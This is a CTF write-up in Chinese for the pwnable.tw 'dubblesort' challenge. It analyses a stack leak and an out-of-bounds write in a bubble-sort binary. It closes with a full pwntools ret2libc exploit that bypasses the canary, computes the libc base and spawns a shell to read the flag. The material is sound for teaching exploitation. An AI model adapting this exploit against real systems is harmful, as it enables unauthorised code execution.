题目地址https://pwnable.tw/challenge/#4

程序分析

题目地址https://pwnable.tw/challenge/#4
这道题目是一个冒泡排序的小程序,主要流程是这样的

[email protected]:~/Desktop/ctf/pwnable.tw$ ./dubblesort 
What your name :nottellyou
Hello nottellyou
,How many numbers do you what to sort :4
Enter the 0 number : 6
Enter the 1 number : 7
Enter the 2 number : 1
Enter the 3 number : 2
Processing......
Result :
1 2 6 7

### 检查下保护
[email protected]:~/Desktop/ctf/pwnable.tw$ checksec dubblesort
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/home/y11en/Desktop/ctf/pwnable.tw/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

题目有2处输入,一处是输入name,另一处是输入排序数组的信息项数和项信息。

问题1

在name输入的地方,由于没有初始化栈数据,导致打印name时后面栈上数据被泄露

int name[16]; // [esp+3Ch] [ebp-50h]
unsigned int v12; // [esp+7Ch] [ebp-10h]

v12 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, (int)"What your name :", v8);
read(0, name, 0x40u); // 未初始化内存
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :", (int)name);

问题2

在输入待排序项时,只有8个元素的的数组作为缓存,而实际待排序个数由用户输入 ,当这个大小 >8时,打印栈后数据,当然在其排序逻辑中,可以越界写数据。

int v10[8]; // [esp+1Ch] [ebp-70h]

...

__isoc99_scanf((int)"%u", (int)&numcount);
idx = numcount;
if ( numcount )
{
v4 = v10;
v5 = 0;
do
{
__printf_chk(1, (int)"Enter the %d number : ", v5);
fflush(stdout);
__isoc99_scanf((int)"%u", (int)v4); // 输入非数字导致该函数不执行实际功能
++v5;
idx = numcount;
++v4;
}
while ( numcount > v5 );
}

利用

栈数据泄露

scanf("%u",&x) 中%u是输入无符号整型的格式符。
为了保证只覆盖需要的数据(跳过stack cookie),我们需要知道在%u的格式符下,输入除去数字外的字符时不会被接收(不产生赋值操作),但只输入”+””-“可以被接收并且不产生赋值操作。

[email protected]:~/Desktop/ctf/pwnable.tw$ ./dubblesort 
What your name :a
Hello a
,How many numbers do you what to sort :3
Enter the 0 number : 0
Enter the 1 number : +
Enter the 2 number : 0
Processing......
Result :
0 0 3217242607 [email protected]:~/Desktop/ctf/pwnable.tw$

栈数据覆盖

由于不会被接收,所以字母类型的会一直在输入缓冲区放着,导致后面的也会不接收,造成程序唰唰唰的执行到底,这就无法满足我们想跳过前面1个覆盖第2个的需要,而“+”,“-”可以!
既然可以控制排序数组的边界,那么我们尝试输入一个超过其缓冲大小的值,使程序越界排序(按值由小到大排序),当然排序的不是目的,覆盖关键数据才是目的,为了劫持程序流程,通过覆盖返回地址的方式,同时保证stack cookie的值不会被改,构造如下数据:

1.  让 v10到cookie的值全部为0,为0的目的是保证排序时不干扰后面的值
2. 让cookie的值不变,也即输入+或者-
3. 覆盖返回地址

libc基址获取

  • 方式一
    通过获取程序主函数的返回地址,可以计算得到 __libc_start_main 的地址,由于提供了so文件,我们可以换算得到基址,但这就使得我们需要让程序的返回地址依然返回的程序主流程中,但这个貌似比较难,首先你得知道程序入口地址实际是什么

  • 方式二
    通过调试,我们可以发现在name的后面有一个存在libc中的地址

    pwndbg> x/20wx 0xbfffefdc
    0xbfffefdc: 0x0000fec7 0xbffff2ab 0x0000002f 0x0000009e
    0xbfffefec: 0x00000016 0x00008000 [0xb7fbb000]0xb7fb9244
    0xbfffeffc: 0x80000601 0x800007a9 0x80001fa0 0x00000001
    0xbffff00c: 0x80000b72 0x00000001 0xbffff0d4 0xbffff0dc
    0xbffff01c: 0x84cb9400 0xb7fbb3dc 0xbffff29b 0x80000b2b

    通过vmmap 命令在调试时查看libc的实际地址是 0xb7e09000,,相差0x1b2000,再通过readelf -S 看看本机libc这个地址是什么,再反查目标机器的地址

                                            addr   off  size
    ...
    本机
    [32] .got.plt PROGBITS 001b2000 1b1000 000030 04 WA 0 0 4
    目标机器
    [31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4
    ...

    对比目标、目标机器的libc,可以得到如下计算目标libc基地址公式

    libc = leakaddr - 0x01b0000

    知道这个了,通过构造大小为24非\x00字符以及,利用输入时自带的\n,覆盖掉leakaddr的低位,最后在取值时进行处理即可。

    利用思路

  1. 泄露libc地址
  2. 找到system, binsh地址
  3. 通过排序设置返回地址

坑在哪?

这个题目的栈空间是一个比较坑的地方。
在布置栈分布时候,发现我们覆盖的返回地址与实际的返回地址存在偏差,而且通过数次的测试发现这个值有时会变,苦思冥想了很久,一开始以为是如下的主函数结束代码导致的

.text:00000B10 loc_B10:                                ; CODE XREF: main+146↑j
.text:00000B10 lea esp, [ebp-0Ch]
.text:00000B13 pop ebx
.text:00000B14 pop esi
.text:00000B15 pop edi
.text:00000B16 pop ebp
.text:00000B17 retn

但是,经过我一而再再而三的计算,发现并不是,因为这个栈的空间就是这样平着的,最后发现是函数开头的时候,对esp进行了对齐操作,这样在很大情况下,使得esp会丢失掉部分字节,而ida不知道啊,这也和上面不常见的lea esp, [ebp-0Ch]进行了对照。

.text:000009C3                 push    ebp
.text:000009C4 mov ebp, esp
.text:000009C6 push edi
.text:000009C7 push esi
.text:000009C8 push ebx
.text:000009C9 and esp, 0FFFFFFF0h ; 这个 真的 我f*ck
.text:000009CC add esp, 0FFFFFF80h

PWN

最终的利用代码如下:

from pwn import *
import time
DEBUG = 1
printf_plt = 0

LOCALFILE = './dubblesort'
HOST = 'chall.pwnable.tw'
PORT = 10101

#context.log_level = 'debug'
if DEBUG:
p = process(LOCALFILE)
#gdb.attach(p)
else:
p = remote(HOST, PORT)

def give_me_system_binsh(libc_base , libso):
libc=ELF(libso)
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search("/bin/sh"))
return system_addr , binsh

def leaklibc():
#gdb.attach(p)
p.recvuntil("What your name :")
p.sendline("AAAA"*6)
buf = p.recvuntil("do you what to sort :").split(",")[0]
b = buf.split('\n')[1]
libaddr = u32("\x00"+b[:3])
if DEBUG:
libaddr -= 0x1b2000 #fix
else:
libaddr -= 0x1b0000 #fix
print (hex(libaddr))
return libaddr

def dubblesort(system_addr , binsh):
#能不能pwn看脸
print ("[+] dubblesort >>>")
p.sendline("36")
for i in range(0,36):
print (p.recvuntil("number : "))
if i == 24 : d = "+"
elif i>=25 and i <= 33:
if i == 28:
d = "+" # +
if i == 29:
d = str(system_addr)
else:
d = str(system_addr) #system_addr
elif i == 34 or i == 35: d= str(binsh) #binsh
else: d = "0"
print(d)
p.sendline(d)
p.recvuntil("Processing......")
#gdb.attach(p)
time.sleep(2)
print (p.recvuntil("Result :"))
print (p.recv())
print ("[+] dubblesort <<<")

def main():
libc = leaklibc()
if DEBUG:
s , sh = give_me_system_binsh(libc , "/lib/i386-linux-gnu/libc-2.23.so")
else:
s , sh = give_me_system_binsh(libc , "./libc_32.so_dubblesort.6")
print ((s) , (sh))
dubblesort(s,sh)
p.sendline('cat /home/dubblesort/flag')
p.interactive()
main()